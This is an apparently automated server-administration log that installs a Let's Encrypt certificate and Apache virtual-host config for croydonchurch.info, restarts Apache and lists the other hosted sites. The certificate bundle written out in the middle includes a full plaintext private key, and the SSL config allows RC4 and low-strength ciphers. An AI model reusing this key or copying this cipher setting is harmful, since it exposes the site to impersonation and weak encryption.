aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ
cat > k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM


2025-11-12 06:00:16: 

chmod 755 /tmp/pkp289022; /tmp/pkp289022; rm /tmp/pkp289022

2025-11-12 06:00:16: 




2025-11-12 06:00:27: Establishing a connection
2025-11-12 06:00:27: 

PUT: /tmp/pkp673824

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ
rm k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM


2025-11-12 06:00:27: 

chmod 755 /tmp/pkp673824; /tmp/pkp673824; rm /tmp/pkp673824

2025-11-12 06:00:27: 




2025-11-12 06:00:27: Establishing a connection
2025-11-12 06:00:28: 

PUT: /tmp/pkp644254

#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt

cat > $temp_file <<'endmsg'
cb:90:b6:63:ea:bc:68:90:71:ce:3c:5e:e4:61:67:2d

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBrDWBaY8rfRnJW52G1x9jkwMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEyMDUwMTU2WhcNMjYwMjEwMDUwMTU1WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDQp4wamMXqetIK6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnb
z6GFMBOz2OQcqDPidsJA6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAa
iarO5Cu7FNYfFlQRjDwfTLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer
7m/2eE5xkrj2hNUC4PZafhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zP
SkVkV+rbsdg+P0aQUbmtozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxi
EeyxBKR+//pMdPjjj3B1RjeKSJMZAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFEaiEYCOmAtn4rc1dUfqyjRLuDuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGadqawhwAABAMARzBFAiAWt/pddzfLauax/cgnxTP5RF7L
xCUIj7WiCJ6yZBrPyQIhAOLAYGKfUB6VsdqjoZaCzhmqCau0UMN+ERAkfeYZkKU5
AHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGadqaw0QAABAMA
RzBFAiEAn8oaj1aN7WLYuLqKBidUlhPlx9PW4Xub8pnjksOS2wwCIBQtUTwjL5lC
HxVpNCT/5/RropxlafXPH0yUzOPXiNTVMA0GCSqGSIb3DQEBCwUAA4IBAQBgtN2j
B7bMRQdp6ve4wGa6uXeTrbwWUaU7ZmzdA/V2zp3LYNiB5kbTNhsLlVrsxh9dGNKM
1y4hUjjcdMApeCmqyftmlfy/6vV+dVw71fgVvKjdonsu0ObJCi9cmNA7yWOgzWLP
tc4oVOYm8GgghuzHVoG6VJU9/RMMfFfQmORVvRfzCz+0t4aNAJFyUKWDgZ6JNja+
Q+3HdVso+jYMC45TfRs85PsKybsHdTSQrmDOFFKhAKK5GtrGn06/X8ipiLy5c+Og
evy4B7SbUeUexxXgrdT2VeEB/j82AFGsjHIdOGj3DH8BSrpD5JWNXyckqgC8DODZ
l498L3W+oNUy0o93
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQp4wamMXqetIK
6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnbz6GFMBOz2OQcqDPidsJA
6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAaiarO5Cu7FNYfFlQRjDwf
TLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer7m/2eE5xkrj2hNUC4PZa
fhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zPSkVkV+rbsdg+P0aQUbmt
ozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxiEeyxBKR+//pMdPjjj3B1
RjeKSJMZAgMBAAECggEBAJD97MDKqrV+9Zh52PaXuHVpGwb2lYFXX529ud8HE9mm
7IAOZai63BS6fNrfVIk92GMgc5tqUuuqxN/gLVFJJw5MVllIUP5d+9wDG3weUOxq
g4iwAhjROlL8EYifY59zNORC3Wwq0u6CuYCyiFyn+PiIJB09vsE6MMcKgJCJVKis
DK1TaGdqzumzkkqSOsRwp4988Uz/EqUXGKc4KBurIb4JRSAxHl89urC2RHL6k0E1
RlUwDnVy7Bqbagt3zW0ahwmvIUGLcKIekpBlifp6yxcR89Z2Cp1elgm6SOL9QdhK
Oi7HvR+DtZuDsXc3lgljvTeIY3EA+xDydB3BeGVw3AUCgYEA/VA7rTdQTnJAe8Ul
qtXc3kTZ5/kSmzZ2VQnJ+MGrvI1MZVcLi47O/7MHjOMNkRtMiPD7odaYiZkddxpB
YseLnlX4++jEMv09WTz47ENlr38YyCfKWw6pGCFTJgp34l9NlAc7bcUbhuhBnquz
IbHytjmmzxmXMq67d+KKnf6GMi8CgYEA0t4PvQmOijao1fq26MNAcjEjMIe2HzhU
ijLbBSW+gocbXPBveEOnEt09I4kABJAF50yM/viz5eo2t0hozsxDvsv3DK9CqPaZ
G9w9T7wL5C3zCD2LypcyJWXHhuY84wKLphapiC590Qy5tfJa35wekdUjUodeerT8
PG6z2k89JTcCgYAp1UE1tufNPLMHfaRd1Rm3nzk5RPncph7eplIzgZBiABe4uKpQ
btIiiidaDfkkmJSIHPwBWxYvyxiBndVkgb299Ua8G1GjdgzWmuok4nB9jgjCrUeO
yBoGwSIhKyNnQAPoyVT4KNAF9H85u/NGQkPp8hVpKDm/BfoxrzjjJLB2wwKBgHJ4
XADaBEghngvzO4ImJIEZDapVsddG5BXVv7IOqFoBcChG2axmxXbnJT56K8lOSfYj
R1NOvZItUCC1LTg+CPS1ktqO9df1bm6CY8I6KhZnn0w05QNIis9kbilcKWduxVKX
cNbdri1jBBmyhARpouq10qQFmpNwVpGT4wy7AU2HAoGAW18KwrNaHstvcI1ZZ2H9
RGRBpRVkC06XSjo7mmoIew4dlTb1tyTfScnVEGxC6ermty56lCn5xw2IUnXC4EU/
RYONnLFlGsWuFVj3OqaYgZB2gqK1K6dnozbHAT4gzvL1QNdd6ZnIvKtDpavcPZvM
VSv+qrAz5teClBiyp8ggQ/g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-12 06:00:28: 

chmod 755 /tmp/pkp644254; /tmp/pkp644254; rm /tmp/pkp644254

2025-11-12 06:00:28: 


dir=/etc/ssl/certs


2025-11-12 06:00:28: 

PUT: /tmp/pkp158424

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-12 06:00:28: 

chmod 755 /tmp/pkp158424; /tmp/pkp158424; rm /tmp/pkp158424

2025-11-12 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-12 06:00:28: 

PUT: /tmp/pkp280355

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi


2025-11-12 06:00:28: 

chmod 755 /tmp/pkp280355; /tmp/pkp280355; rm /tmp/pkp280355

2025-11-12 06:00:28: 




2025-11-12 06:00:28: 

PUT: /tmp/pkp131769

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-12 06:00:28: 

chmod 755 /tmp/pkp131769; /tmp/pkp131769; rm /tmp/pkp131769

2025-11-12 06:00:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-12 06:00:28: Establishing a connection
2025-11-12 06:00:28: 

PUT: /tmp/pkp232705

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-12 06:00:28: 

chmod 755 /tmp/pkp232705; /tmp/pkp232705; rm /tmp/pkp232705

2025-11-12 06:00:28: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-12 06:00:28: 

PUT: /tmp/pkp496604

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-12 06:00:28: 

chmod 755 /tmp/pkp496604; /tmp/pkp496604; rm /tmp/pkp496604

2025-11-12 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-12 06:00:28: 

PUT: /tmp/pkp882024

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-12 06:00:28: 

chmod 755 /tmp/pkp882024; /tmp/pkp882024; rm /tmp/pkp882024

2025-11-12 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt	5389
cb:90:b6:63:ea:bc:68:90:71:ce:3c:5e:e4:61:67:2d

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBrDWBaY8rfRnJW52G1x9jkwMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEyMDUwMTU2WhcNMjYwMjEwMDUwMTU1WjAdMRswGQYDVQQD
